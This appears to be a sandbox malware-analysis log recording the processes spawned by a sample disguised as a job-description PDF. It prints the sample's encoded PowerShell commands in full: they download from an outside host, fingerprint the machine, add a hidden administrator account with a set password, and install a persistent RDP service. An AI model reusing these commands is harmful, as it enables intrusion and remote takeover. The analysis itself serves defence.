            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwB1AHkAdAAxAG4AOABkAGUAZAA5AGYAYgAzADgAMAAuAGMAbwBtAC8AZgBpAGwAZQAyAC8AOQAyADAANwA1AGQAYwA5AGQAYwA0AGEAOQA3ADUAYQA5ADQAOQBjAGYANAA0ADMAOAAxAGEAZAA2AGIAMgAzADkAZQBjADEAOAAxADQAOQBiADAAZgA1ADYAZQAzADYANgAwADIAYwBkADMANgBmAGYAMwBiADkAYgAzAGEAMQA5ADkANQBmADUAOAA2AGUAMAA1ADAANgA2ADYANABmADgAMgBiAGIAMQA4AGUAMwA3AGMAMQBiADAANQBiAGMAZQBiAGMAZQA3ADkAZAA5AGMAMQA2AGMANgBlAGYAMgBmADEANQA2AGIAZgBiADMAMwAyAGMAZgA4ADkANwA1ADYAZgA5AGQAMwBlADgAZgBjADgAOAAzADMAYwBiADEAYQA0AGMANgBhAGMAZQAwADEANQA0ADEAYwA2ADAAMABiAGIANAA2ADgAZABlAGEANwA4ADkAZABkADQAMwA2AGUAYQA3ADAAZAA5AGIANQA2AGMAMwBhADcAOQA2ADUAMQAzADgAMQBjAGEAYQAyADAANwA0ADYANgAxADkAYgBiAGEANgBjAGYAMgA2ADIAZQAyADAANAAxADYAOAA5ACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1AAD.tmp" "c:\Users\user\AppData\Local\Temp\ybpc4wl1\CSC6A692CC47F2F404EAC3A66596F569951.TMP"Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\user\AppData\Local\Temp\Job-Description.pdf.pdf"Jump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwB1AHkAdAAxAG4AOABkAGUAZAA5AGYAYgAzADgAMAAuAGMAbwBtAC8AZgBpAGwAZQAyAC8AOQAyADAANwA1AGQAYwA5AGQAYwA0AGEAOQA3ADUAYQA5ADQAOQBjAGYANAA0ADMAOAAxAGEAZAA2AGIAMgAzADkAZQBjADEAOAAxADQAOQBiADAAZgA1ADYAZQAzADYANgAwADIAYwBkADMANgBmAGYAMwBiADkAYgAzAGEAMQA5ADkANQBmADUAOAA2AGUAMAA1ADAANgA2ADYANABmADgAMgBiAGIAMQA4AGUAMwA3AGMAMQBiADAANQBiAGMAZQBiAGMAZQA3ADkAZAA5AGMAMQA2AGMANgBlAGYAMgBmADEANQA2AGIAZgBiADMAMwAyAGMAZgA4ADkANwA1ADYAZgA5AGQAMwBlADgAZgBjADgAOAAzADMAYwBiADEAYQA0AGMANgBhAGMAZQAwADEANQA0ADEAYwA2ADAAMABiAGIANAA2ADgAZABlAGEANwA4ADkAZABkADQAMwA2AGUAYQA3ADAAZAA5AGIANQA2AGMAMwBhADcAOQA2ADUAMQAzADgAMQBjAGEAYQAyADAANwA0ADYANgAxADkAYgBiAGEANgBjAGYAMgA2ADIAZQAyADAANAAxADYAOAA5ACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgADJump to behavior
            Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess created: unknown unknown
            Source: C:\Windows\System32\svchost.exeProcess created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\cmd.exe "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc stop "myRdpService"
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService"
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\cmd.exe "cmd.exe" /C "rdp.exe -i && rdp.exe -w ""https://uyt1n8ded9fb380.com/rdp/init"""
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc query myRdpService
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc query myRdpService
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc stop "myRdpService"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc query myRdpService
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc delete "myRdpService"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\net.exe net start "myRdpService"
            Source: C:\Windows\System32\net.exeProcess created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 start "myRdpService"
            Source: C:\Windows\Temp\myRdpService.exeProcess created: C:\Windows\regedit.exe "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"
            Source: C:\Windows\Temp\myRdpService.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "systeminfo | Select-String \"OS Name\",\"OS Version\";"
            Source: C:\Windows\Temp\myRdpService.exeProcess created: C:\Windows\System32\cmd.exe /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\systeminfo.exe "C:\Windows\system32\systeminfo.exe"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\Temp\rdp.exe rdp.exe -i
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: edgegdi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appresolver.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcp47langs.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: slc.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sppc.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: linkinfo.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntshrui.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cscapi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: policymanager.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msvcp110_win.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: taskflowdataengine.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cdp.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: umpdc.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dsreg.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecorecommonproxystub.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: xmllite.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
